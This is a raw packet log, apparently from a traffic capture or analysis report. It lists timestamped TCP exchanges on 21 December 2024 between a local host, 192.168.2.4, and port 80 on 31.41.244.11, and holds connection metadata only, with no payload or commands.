                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.171246052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.172204018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.172250986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.172313929 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.172358036 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.173341036 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.173384905 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.173461914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.173505068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.174449921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.174468040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.174521923 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.175546885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.175625086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.175751925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.175811052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.176630974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.176695108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.176698923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.176738977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.177719116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.177767992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.177807093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.177848101 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.178919077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.179025888 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.179092884 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.179961920 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.180150986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.180208921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.181063890 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.181108952 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.181154966 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.181200027 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.182187080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.182233095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.182279110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.182322025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.183264971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.183306932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.183485985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.183533907 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.184463024 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.184508085 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.184577942 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.184621096 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.185530901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.185575962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.185616016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.185657978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.186592102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.186640024 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.186727047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.186772108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.187701941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.187748909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.187803030 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.187844038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.188803911 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.188848972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.188904047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.188947916 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.189951897 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.189996004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.190042973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.190085888 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.191050053 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.191093922 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.191139936 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.191183090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.192142010 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.192189932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.192297935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.192337990 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.193274975 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.193320990 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.193365097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.193408966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.194329023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.194375992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.194464922 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.194509029 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.195450068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.195493937 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.195589066 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.195631981 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.196605921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.196650028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.196719885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.196763992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.197715998 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.197760105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.197799921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.197845936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.198800087 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.198843956 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.198940992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.198986053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.200021029 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.200066090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.200073004 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.200115919 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.200997114 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.201040983 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.201086044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.201145887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.202099085 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.202142954 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.202217102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.202259064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.203198910 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.203243971 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.203286886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.203334093 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.204298973 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.204341888 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.204452038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.204494953 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.205410957 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.205456972 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.205545902 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.205588102 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.206532955 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.206574917 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.206653118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.206691980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.207640886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.207683086 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.207820892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.207865000 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.208822012 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.208864927 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.208898067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.208942890 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.209866047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.209911108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.209953070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.209996939 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.210962057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.211005926 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.211102009 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.211148977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.212172031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.212218046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.212260008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.212302923 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.213155985 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.213196993 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.213239908 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.213279963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.214205027 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.214248896 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.348685026 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.348710060 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.348809004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.349060059 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.349083900 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.349133015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.350059986 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.350107908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.350143909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.351138115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.351187944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.351262093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.351608038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.352282047 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.352363110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.352411032 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.353352070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.353456974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.353506088 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.354485989 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.354599953 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.354652882 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.355562925 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.355631113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.355674028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.355739117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.356676102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.356724977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.356792927 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.356838942 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.357800961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.357848883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.357991934 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.358037949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.358896971 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.358943939 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.358989000 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.359031916 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.360035896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.360091925 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.360125065 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.360167980 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.361112118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.361202002 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.361238003 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.361283064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.362237930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.362282038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.362325907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.362365961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.363409996 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.363477945 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.363508940 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.363559008 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.364423990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.364473104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.364531994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.364578009 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.365525961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.365573883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.365642071 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.365686893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.366664886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.366715908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.366740942 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.366789103 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.367744923 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.367789984 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.367861032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.367904902 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.368896961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.368953943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.368974924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.369024038 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.370008945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.370059013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.370080948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.370126963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.371066093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.371112108 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.371181011 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.371222973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.372262001 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.372312069 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.372353077 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.372400045 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.373291969 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.373338938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.373352051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.373394966 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.374401093 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.374447107 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.374525070 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.374572039 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.375511885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.375556946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.375603914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.375648022 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.376620054 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.376665115 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.376727104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.376804113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.377727032 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.377778053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.377815008 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.377871037 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.378794909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.378842115 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.378971100 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.379017115 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.379961014 CET804976031.41.244.11192.168.2.4
